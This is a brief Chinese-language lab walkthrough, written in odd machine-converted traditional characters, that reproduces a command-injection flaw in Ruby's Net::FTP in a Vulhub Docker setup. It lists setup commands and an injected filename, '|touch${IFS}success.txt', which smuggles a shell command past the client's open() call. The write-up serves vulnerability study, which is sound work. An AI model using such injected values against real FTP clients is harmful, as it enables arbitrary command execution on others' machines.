Ruby Net::FTP 子產品是一個FTP用戶端,在上傳和下載下傳檔案的過程中,打開本地檔案時使用了
open
函數。而在ruby中,
open
函數是借用系統指令來打開檔案,且沒用過濾shell字元,導緻在使用者控制檔案名的情況下,将可以注入任意指令。
啟動docker
service docker start
在Vulhub中加載CVE-2017-14015漏洞環境。
cd vulhub/ruby/CVE-2017-14015
docker-compose up -d
運作一個可以通路到的FTP用戶端。可以使用python運作pyftpdlib,如果沒有對應環境安裝就好了。
#安裝pyftplid
pip install pyftpdlib
#在目前目錄下使用python生成一個ftp伺服器,預設監聽在0.0.0.0:2121端口。
python -m pyftpdlib -p 2121 -i 0.0.0.0
然後即可開始利用漏洞。注入指令
|touch${IFS}success.txt
(空格用
${IFS}
代替),發送如下資料包即可。
FTP伺服器出現通路記錄
然後進入docker容器内,可見success.txt已被建立。